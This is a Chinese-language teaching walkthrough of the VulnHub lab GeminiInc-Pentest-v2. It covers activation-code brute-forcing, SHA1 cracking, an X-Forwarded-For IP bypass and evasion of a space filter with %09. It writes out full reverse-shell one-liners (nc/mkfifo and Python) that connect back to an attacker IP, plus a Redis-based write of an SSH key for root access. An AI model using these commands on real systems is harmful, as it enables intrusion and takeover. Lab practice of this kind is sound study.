VnlnHub GeminiInc-Pentest-v2
字数 1932 2025-08-11 23:26:41

GeminiInc-Pentest-v2 靶场渗透测试教学文档

靶场概述

GeminiInc-Pentest-v2 是一个模拟真实环境的渗透测试靶场,包含Web应用漏洞、权限提升等多个安全挑战点。靶场下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip

环境搭建

  1. 下载并解压靶场文件
  2. 使用VMware导入.ovf虚拟机文件
  3. 网络模式设置为NAT模式(也可使用桥接模式,需与攻击机保持一致)
  4. 启动虚拟机

信息收集

网络扫描

  1. 确定靶机IP(假设攻击机IP为192.168.52.147,靶机为192.168.52.155)
  2. 使用nmap扫描开放端口:
    nmap -sV 192.168.52.155
    
    发现开放服务:
    • 22/tcp - SSH服务
    • 80/tcp - HTTP服务

Web应用渗透

初步侦察

  1. 访问Web界面(http://192.168.52.155)

    • 默认以Guest用户身份访问
    • 发现登录页面
    • 尝试默认凭证admin/1234失败
    • userlist页面为空
  2. 目录枚举:

    • 发现/export.php - 输出为PDF的页面(文档属性为空)
    • 发现/registration.php - 注册页面
    • 发现/activate.php - 激活页面

用户注册与激活码爆破

  1. 注册新用户

    • 注册后显示"账号未激活,请输入六位激活码"
    • 查看myprofile页面,URL中包含用户ID
  2. 激活码爆破流程:

    • 使用Burp Suite抓取激活请求
    • 发现请求中包含动态token(每次响应返回新token)
    • 配置Burp Intruder:
      • 使用Grep功能提取每次响应中的token
      • 设置线程为1(避免并发导致token混乱)
      • 禁用失败重试
    • 成功爆破出六位激活码

管理员账户获取

  1. 登录后查看userlist:

    • 发现管理员账户:9emin1
    • 其他用户信息可修改但无法越权操作
  2. 密码获取:

    • 在用户详情页面源码中发现password标签(SHA1加密值)
    • 通过已知密码(admin123:12345)确认加密方式为SHA1
    • 使用在线工具解密9emin1的SHA1值获得明文密码

管理员功能绕过

  1. 以9emin1登录后发现更多功能但显示"IP NOT ALLOWED"

  2. 绕过IP限制:

    • 添加请求头:X-Forwarded-For: 127.0.0.1
    • 成功绕过IP白名单限制
  3. 发现功能:

    • General Settings(常规设置)
    • Execute Command(命令执行)

命令执行与反弹Shell

初始尝试

  1. 尝试直接执行反弹shell命令:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.147 4444 >/tmp/f
    
    • 执行失败,存在过滤机制
  2. 测试过滤规则:

    • ls 可执行
    • ls -l 失败 → 空格被过滤
    • 使用%09(Tab)代替空格成功

绕过过滤

  1. 修改反弹shell命令(空格替换为%09):

    rm%09/tmp/f;mkfifo%09/tmp/f;cat%09/tmp/f|/bin/bash%09-i%092>&1|nc%09192.168.52.147%094444%09>/tmp/f
    
    • 仍失败,存在额外过滤
  2. 尝试Python反弹shell:

    python%09-c%09'import%09socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.147",4444));os.dup2(s.fileno(),0);%09os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%09pty;%09pty.spawn("/bin/bash")'
    
    • 仍失败
  3. 最终解决方案:

    • 上传nc到/tmp目录
    • 赋予执行权限:chmod +x /tmp/nc
    • 使用nc建立连接

获取稳定Shell

  1. 使用Python升级shell:

    python -c 'import pty; pty.spawn("/bin/bash")'
    
  2. 发现过滤规则文件:

    • /path/to/blacklist.txt(包含被过滤的字符/命令)

权限提升

初始尝试

  1. sudo提权:

    • 需要密码,无法直接利用
  2. SUID提权:

    • 查找SUID文件:find / -perm -4000 2>/dev/null
    • 未发现可利用的常见SUID程序(nmap, vim, find等)

Redis服务利用

  1. 发现本地开放6379端口(Redis)

    • Redis以root身份运行
  2. 获取Redis凭证:

    • 查看配置文件6379.conf,发现认证密码
  3. 连接Redis:

    • 由于shell不完整导致乱码,需建立新shell连接
    • 使用nc监听5555端口并建立新连接
  4. Redis信息收集:

    • 发现包含SSH私钥的值(疑似root用户)

SSH密钥利用

  1. 尝试使用发现的私钥登录:

    • 保存私钥并设置权限:chmod 600 id_rsa
    • 尝试登录失败(仍需密码)
  2. 通过Redis写入SSH公钥:

    • 在攻击机生成密钥对:ssh-keygen
    • 格式化公钥文件:
      (echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt
      
    • 通过Redis导入公钥:
      cat pub.txt | redis-cli -h 192.168.52.155 -x set crack
      redis-cli -h 192.168.52.155
      config set dir /root/.ssh/
      config set dbfilename "authorized_keys"
      save
      
    • 使用SSH密钥成功登录root账户

总结

本靶场渗透测试流程包含:

  1. Web应用信息收集与枚举
  2. 激活码爆破(带动态token)
  3. SHA1密码破解
  4. IP限制绕过
  5. 命令执行绕过(空格过滤)
  6. Redis未授权访问利用
  7. 通过Redis写入SSH公钥实现权限提升

关键学习点:

  • 动态token的爆破技巧
  • Web应用过滤机制的绕过方法
  • Redis服务的权限提升技术
  • 通过系统服务获取root权限的多种途径
GeminiInc-Pentest-v2 靶场渗透测试教学文档 靶场概述 GeminiInc-Pentest-v2 是一个模拟真实环境的渗透测试靶场,包含Web应用漏洞、权限提升等多个安全挑战点。靶场下载地址: https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip 环境搭建 下载并解压靶场文件 使用VMware导入.ovf虚拟机文件 网络模式设置为NAT模式(也可使用桥接模式,需与攻击机保持一致) 启动虚拟机 信息收集 网络扫描 确定靶机IP(假设攻击机IP为192.168.52.147,靶机为192.168.52.155) 使用nmap扫描开放端口: 发现开放服务: 22/tcp - SSH服务 80/tcp - HTTP服务 Web应用渗透 初步侦察 访问Web界面(http://192.168.52.155) 默认以Guest用户身份访问 发现登录页面 尝试默认凭证admin/1234失败 userlist页面为空 目录枚举: 发现/export.php - 输出为PDF的页面(文档属性为空) 发现/registration.php - 注册页面 发现/activate.php - 激活页面 用户注册与激活码爆破 注册新用户 注册后显示"账号未激活,请输入六位激活码" 查看myprofile页面,URL中包含用户ID 激活码爆破流程: 使用Burp Suite抓取激活请求 发现请求中包含动态token(每次响应返回新token) 配置Burp Intruder: 使用Grep功能提取每次响应中的token 设置线程为1(避免并发导致token混乱) 禁用失败重试 成功爆破出六位激活码 管理员账户获取 登录后查看userlist: 发现管理员账户:9emin1 其他用户信息可修改但无法越权操作 密码获取: 在用户详情页面源码中发现password标签(SHA1加密值) 通过已知密码(admin123:12345)确认加密方式为SHA1 使用在线工具解密9emin1的SHA1值获得明文密码 管理员功能绕过 以9emin1登录后发现更多功能但显示"IP NOT ALLOWED" 绕过IP限制: 添加请求头: X-Forwarded-For: 127.0.0.1 成功绕过IP白名单限制 发现功能: General Settings(常规设置) Execute Command(命令执行) 命令执行与反弹Shell 初始尝试 尝试直接执行反弹shell命令: 执行失败,存在过滤机制 测试过滤规则: ls 可执行 ls -l 失败 → 空格被过滤 使用 %09 (Tab)代替空格成功 绕过过滤 修改反弹shell命令(空格替换为%09): 仍失败,存在额外过滤 尝试Python反弹shell: 仍失败 最终解决方案: 上传nc到/tmp目录 赋予执行权限: chmod +x /tmp/nc 使用nc建立连接 获取稳定Shell 使用Python升级shell: 发现过滤规则文件: /path/to/blacklist.txt (包含被过滤的字符/命令) 权限提升 初始尝试 sudo提权: 需要密码,无法直接利用 SUID提权: 查找SUID文件: find / -perm -4000 2>/dev/null 未发现可利用的常见SUID程序(nmap, vim, find等) Redis服务利用 发现本地开放6379端口(Redis) Redis以root身份运行 获取Redis凭证: 查看配置文件 6379.conf ,发现认证密码 连接Redis: 由于shell不完整导致乱码,需建立新shell连接 使用nc监听5555端口并建立新连接 Redis信息收集: 发现包含SSH私钥的值(疑似root用户) SSH密钥利用 尝试使用发现的私钥登录: 保存私钥并设置权限: chmod 600 id_rsa 尝试登录失败(仍需密码) 通过Redis写入SSH公钥: 在攻击机生成密钥对: ssh-keygen 格式化公钥文件: 通过Redis导入公钥: 使用SSH密钥成功登录root账户 总结 本靶场渗透测试流程包含: Web应用信息收集与枚举 激活码爆破(带动态token) SHA1密码破解 IP限制绕过 命令执行绕过(空格过滤) Redis未授权访问利用 通过Redis写入SSH公钥实现权限提升 关键学习点: 动态token的爆破技巧 Web应用过滤机制的绕过方法 Redis服务的权限提升技术 通过系统服务获取root权限的多种途径